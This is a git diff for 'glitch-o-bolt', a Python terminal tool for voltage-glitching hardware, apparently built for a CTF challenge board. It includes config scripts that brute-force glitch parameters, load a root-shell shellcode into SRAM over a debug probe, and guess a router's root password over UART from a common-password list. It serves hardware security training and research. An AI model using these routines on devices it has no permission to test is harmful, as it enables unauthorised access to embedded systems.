+                            # Configure for reliable operation
+                            self.serial_connection.timeout = 0.5
+                            self.serial_connection.write_timeout = 1.0
+                            self._serial_connected = True
+                            functions.log_message("[SERIAL] Connected successfully")
+                            asyncio.create_task(self.read_serial_loop())
+                        else:
+                            raise serial.SerialException("Connection failed")
+                    except Exception as e:
+                        self._serial_connected = False
+                        functions.log_message(f"[SERIAL] Connection error: {str(e)}")
+                        switch_uart.value = False
+                        await asyncio.sleep(2)  # Wait before retrying
+            else:
+                if getattr(self, '_serial_connected', False):
+                    if hasattr(self, 'serial_connection') and self.serial_connection:
+                        self.serial_connection.close()
+                    self._serial_connected = False
+                    functions.log_message("[SERIAL] Disconnected")
+            
+            await asyncio.sleep(1)  # Check connection status periodically
+
+    async def read_serial_loop(self):
+        """Serial reading that perfectly preserves original line endings"""
+        buffer = ""
+        
+        while self.run_serial and getattr(self, '_serial_connected', False):
+            try:
+                # Read available data (minimum 1 byte)
+                data = await asyncio.get_event_loop().run_in_executor(
+                    None,
+                    lambda: self.serial_connection.read(max(1, self.serial_connection.in_waiting))
+                )
+                
+                if data:
+                    decoded = data.decode('utf-8', errors='ignore')
+                    
+                    # Store raw data in condition monitoring buffer
+                    async with self.buffer_lock:
+                        self.serial_buffer += decoded
+                    
+                    # Original character processing
+                    for char in decoded:
+                        if char == '\r':
+                            continue
+                        
+                        buffer += char
+                        
+                        if char == '\n':
+                            self.post_message(SerialDataMessage(buffer))
+                            buffer = ""
+                    
+                    if buffer:
+                        self.post_message(SerialDataMessage(buffer))
+                        buffer = ""
+                
+                await asyncio.sleep(0.01)
+                
+            except serial.SerialException as e:
+                functions.log_message(f"[SERIAL] Read error: {str(e)}")
+                self._serial_connected = False
+                break
+            except Exception as e:
+                functions.log_message(f"[SERIAL] Unexpected error: {str(e)}")
+                await asyncio.sleep(0.1)
+
+    async def monitor_conditions(self):
+        """Background task to monitor serial buffer for conditions with debug"""
+        debug = functions.DEBUG_MODE  # Set to False to disable debug logging after testing
+        buffer_size = functions.get_conditions_buffer_size(debug)
+        
+        if debug:
+            functions.log_message("[DEBUG] Starting condition monitor")
+            functions.log_message(f"[DEBUG] Initial buffer size: {buffer_size}")
+            functions.log_message(f"[DEBUG] Current conditions: {config.conditions}")
+        
+        while self.run_serial:
+            if hasattr(self, '_serial_connected') and self._serial_connected:
+                # Get a snapshot of the buffer contents
+                async with self.buffer_lock:
+                    current_buffer = self.serial_buffer
+                    if debug and current_buffer:
+                        functions.log_message(f"[DEBUG] Current buffer length: {len(current_buffer)}")
+                    
+                    # Keep reasonable buffer size
+                    if len(current_buffer) > buffer_size * 2:
+                        self.serial_buffer = current_buffer = current_buffer[-buffer_size*2:]
+                        if debug:
+                            functions.log_message(f"[DEBUG] Trimmed buffer to {len(current_buffer)} chars")
+                
+                # Check for conditions
+                action = functions.check_conditions(self, current_buffer, debug)
+                if action:
+                    if debug:
+                        functions.log_message(f"[DEBUG] Executing action: {action}")
+                    functions.execute_condition_action(action, debug)
+                elif debug and current_buffer:
+                    functions.log_message("[DEBUG] No action triggered")
+        
+        await asyncio.sleep(0.1)  # Check 10 times per secon
+
+    async def on_key(self, event: events.Key) -> None:
+        """Handles input with proper newline preservation"""
+        if event.key == "enter" and self.input_field.has_focus:
+            text_to_send = self.input_field.value
+            
+            # Preserve exact input (don't strip) but ensure newline
+            if not text_to_send.endswith('\n'):
+                text_to_send += '\n'
+            
+            # Check if serial_connection exists and is open
+            serial_connection = getattr(self, 'serial_connection', None)
+            if serial_connection is not None and serial_connection.is_open:
+                try:
+                    # Send raw bytes exactly as entered
+                    await asyncio.get_event_loop().run_in_executor(
+                        None,
+                        lambda: serial_connection.write(text_to_send.encode('utf-8'))
+                    )
+                    
+                    # Echo to console with prefix
+                    display_text = f"> {text_to_send.rstrip()}"
+                    functions.add_text(display_text)
+                    
+                except Exception as e:
+                    functions.log_message(f"[UART TX ERROR] {str(e)}")
+                    functions.add_text(">> Failed to send")
+            else:
+                functions.add_text(">> Not sent - UART disconnected")
+            
+            self.input_field.value = ""
+            event.prevent_default()
+
+    async def on_serial_data_message(self, message: SerialDataMessage) -> None:
+        """Display serial data exactly as received"""
+        if hasattr(functions, 'text_area'):
+            # Write the data exactly as it should appear
+            functions.text_area.write(message.data)
+
+            log_time = functions.get_config_value("log_time")
+            if log_time > 0:
+                functions.write_to_log(message.data, log_time)
+            #functions.add_text(message.data)
+            functions.text_area.scroll_end()
+
+    def read_from_serial_sync(self):
+        """Synchronous line reading with proper timeout handling"""
+        if not self.serial_connection:
+            return b""
+        
+        try:
+            # Read with timeout
+            ready, _, _ = select.select([self.serial_connection], [], [], 0.01)
+            if ready:
+                # Read until newline or buffer limit
+                return self.serial_connection.read_until(b'\n', size=4096)
+            return b""
+        except Exception as e:
+            functions.log_message(f"[ERROR] Serial read error: {str(e)}")
+            return b""
+
+    def on_button_pressed(self, event: Button.Pressed) -> None:
+        button_id_parts = event.button.name
+        parts = button_id_parts.split("-")
+        button_id = parts[0]
+        if(button_id == "exit_button"):
+            functions.end_program() 
+        if(button_id == "clear_button"):
+            functions.clear_text()
+        if(button_id == "btn_glitch"):
+            functions.launch_glitch()
+        if(button_id == "save_config"):
+            functions.save_config(self)
+        if(button_id == "toggle_trigger"):
+            functions.toggle_trigger(self, int(parts[1])) 
+        if(button_id == "change_val"):
+            functions.on_button_pressed(self, event)
+        if(button_id == "save_val"):
+            functions.on_save_button_pressed(self, event) 
+        if(button_id == "custom_function"):
+            functions.run_custom_function(self, event) 
+        if(button_id == "save_uart"):
+            functions.save_uart_settings(self, event) 
+
+    def on_switch_changed(self, event: Switch.Changed) -> None:
+        """Handle switch toggle events"""
+        switch = event.switch
+        
+        # Only handle switches with our specific class
+        if "trigger-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                config.triggers[index][1] = new_state  # Update config
+                functions.set_triggers()                  
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process trigger switch: {str(e)}")
+
+        if "condition-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                
+                # Update config
+                config.conditions[index][1] = new_state
+                
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[CONDITION] Updated switch {index} to {new_state}")
+                    functions.log_message(f"[CONDITION] Current states: {[cond[1] for cond in config.conditions]}")
+                    
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process condition switch: {str(e)}")
+
+        if "logging-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("log_time")
+                functions.log_message(f"[FUNCTION] logging toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_log_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_log_time(0)
+            
+            main_content = self.query_one("#main_content")
+            log_time = functions.get_config_value("log_time")  # Renamed to avoid conflict
+            port = str(functions.get_config_value("serial_port"))
+            baud = str(functions.get_config_value("baud_rate"))
+
+            if log_time == 0:  # Now using 'log_time' instead of 'time'
+                main_content.border_title = f"{port} {baud}"
+            else:
+                main_content.border_title = f"{port} {baud} \\[{log_time}.log]"
+
+        if "glitch-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("glitch_time")
+                functions.log_message(f"[FUNCTION] glitching toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_glitch_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_glitch_time(0)
+
+    def compose(self) -> ComposeResult:
+        with Vertical(classes="top_section"):
+            # Use Vertical here instead of Horizontal
+            with Vertical(classes="top_left"):
+                
+                # UART Box - appears second (below)
+                with Vertical(classes="uart_box") as uart_box:
+                    uart_box.border_title = "uart settings"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("port:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="uart_port_input",
+                            name="uart_port_input",
+                            value=str(functions.get_config_value("serial_port"))
+                        )
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("baud:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="baud_rate_input",
+                            name="baud_rate_input",
+                            value=str(functions.get_config_value("baud_rate"))
+                        )
+                        yield Button("save", classes="btn_save", id="save_uart", name="save_uart")
+
+                # Config Box - appears first (on top)
+                with Vertical(classes="config_box") as config_box:
+                    config_box.border_title = "config"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("file:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="config_file_input",
+                            name="config_file_input",
+                            value=str(functions.get_config_value("conFile"))
+                        )
+                    with Horizontal(classes="onerow"):
+                        yield Button("save", classes="btn_save", id="save_config", name="save_config")
+
+            yield Static("glitch-o-bolt v2.0", classes="program_name")
+            yield Static(" ")  # Show blank space
+            
+            for name in control_names:
+                with Horizontal(classes="control_row"):
+                    yield Static(f"{name}:", classes="control_label")
+                    for amount in [-100, -10, -1]:
+                        yield Button(str(amount), classes=f"btn btn{amount}", name=f"change_val-{name}_{amount}")
+
+                    yield Input(
+                        classes="control_input",
+                        value=str(functions.get_config_value(name)),  
+                        type="integer",
+                        id=f"{name}_input"  # Use `id` instead of `name`
+                    )
+                    yield Button("save", classes="btn_save", name=f"save_val-{name}_save")
+
+                    for amount in [1, 10, 100]:
+                        yield Button(f"+{amount}", classes=f"btn btn-{amount}",  name=f"change_val-{name}_{amount}")
+
+            with Horizontal(classes="top_right"):
+                with Vertical(classes="switch_box") as switch_box:
+                    #yield Static("glitch", classes="switch_title")
+                    yield Button("glitch", classes="btn_glitch", name=f"btn_glitch")
+                    yield Switch(classes="glitch-switch", id="glitch-switch", animate=False)
+
+                # Create and store DataTable for later updates
+                self.status_box = DataTable(classes="top_box", name="status_box")
+                self.status_box.border_title = "status"
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.show_header = False
+                self.status_box.show_cursor = False
+
+                self.status_box.add_columns("Attribute", "Value")
+
+                # Add rows for config values
+                self.status_box.add_row(" length: ", str(functions.get_config_value("length")), key="row1")
+                self.status_box.add_row(" repeat: ", str(functions.get_config_value("repeat")), key="row2")
+                self.status_box.add_row("  delay: ", str(functions.get_config_value("delay")), key="row3")
+                self.status_box.add_row("elapsed: ", str(functions.get_glitch_elapsed()), key="row4")
+
+                yield self.status_box  # Yield the stored DataTable
+        
+        with Horizontal(classes="main_section"):
+            with Vertical(classes="left_sidebar"):
+                sidebar_content = Vertical(classes="sidebar_triggers_content")
+                sidebar_content.border_title = "triggers"
+                
+                with sidebar_content:
+                    with Grid(classes="sidebar_triggers"):                  
+                        # Add rows with switches
+                        functions.ensure_triggers_exist()
+                        for i in range(8):
+                            yield Static(f"{i} -")
+                            yield Static(f"{functions.get_trigger_string(i)}", id=f"trigger_symbol_{i}", classes="sidebar_trigger_string")
+                            yield Switch(
+                                classes="trigger-switch sidebar_trigger_switch",
+                                value=functions.get_trigger_value(i),
+                                animate=False,
+                                id=f"trigger_switch_{i}"
+                            )
+                            yield Button("^v-", classes="btn_toggle_1", name=f"toggle_trigger-{i}")
+
+                
+                if hasattr(config, "conditions") and config.conditions:
+                    sidebar_content2 = Vertical(classes="sidebar_conditions_content")
+                    sidebar_content2.border_title = "conditions"
+                    sidebar_content2.styles.height = len(config.conditions) + 1
+
+                    with sidebar_content2:
+                        with Grid(classes="sidebar_conditions"):
+                            for i in range(len(config.conditions)):
+                                yield Static(f"{functions.get_condition_string(i)[:5]} ")
+                                
+                                if config.conditions[i][2] != "":
+                                    yield Switch(
+                                        id=f"condition_switch_{i}",
+                                        classes="condition-switch sidebar_trigger_switch",  # Added specific class
+                                        value=functions.get_condition_value(i),
+                                        animate=False
+                                    )
+                                else:
+                                    yield Static(" ")
+                                    
+                                yield Button("run", classes="btn_toggle_1", name=f"custom_function-{i}")
+                sidebar_content3 = Vertical(classes="sidebar_settings_content")
+                sidebar_content3.border_title = "misc"
+                with sidebar_content3:
+                    with Grid(classes="sidebar_settings_switches"):                  
+                        # Add rows with switches
+                        yield Static(f"uart")
+                        yield Switch(classes="sidebar_trigger_switch", value=False, animate=False, id="uart_switch")
+
+                        yield Static(f"logging")
+                        yield Switch(classes="logging-switch sidebar_trigger_switch", value=False, animate=False)
+
+                    # Centre the exit button
+                    with Vertical(classes="centre_settings_buttons"):
+                        yield Button("clear main", classes="btn_settings", name="clear_button")
+                    with Vertical(classes="centre_settings_buttons"):    
+                        yield Button("exit", classes="btn_settings", name="exit_button")
+
+
+            global text_area  # Use global reference
+            with Vertical(id="main_content", classes="main_content") as main_content:
+                port = str(functions.get_config_value("serial_port"))
+                baud = str(functions.get_config_value("baud_rate"))
+
+                if functions.get_config_value("log_time") == 0:
+                    main_content.border_title = f"{port} {baud}"
+                else:
+                    time = str(functions.get_config_value("log_time"))
+                    main_content.border_title = f"{port} {baud} \\[{time}.log]"
+
+                # Use Log() widget instead of TextArea for scrollable content
+                functions.text_area = Log(classes="scrollable_log")
+                yield functions.text_area  # Make it accessible later
+                
+                with Horizontal(classes="input_container") as input_row:
+                    yield Static("$> ", classes="input_prompt")
+                    self.input_field = Input(classes="input_area", placeholder="send to uart", id="command_input" )  # Store reference
+                    yield self.input_field
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-c", "--config", default="config.py", help="Path to config file")
+    args = parser.parse_args()
+
+    if not os.path.exists(args.config):
+        print(f"Config file '{args.config}' not found. Creating an empty one...")
+        with open(args.config, "w") as f:
+            pass  # Creates a blank file
+
+    load_config(args.config)
+    import config
+    import functions
+    config.CONFILE = args.config
+    functions.set_config(config)
+
+    app = LayoutApp()
+    set_app_instance(app)  # Pass the app instance to config
+    app.run()
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
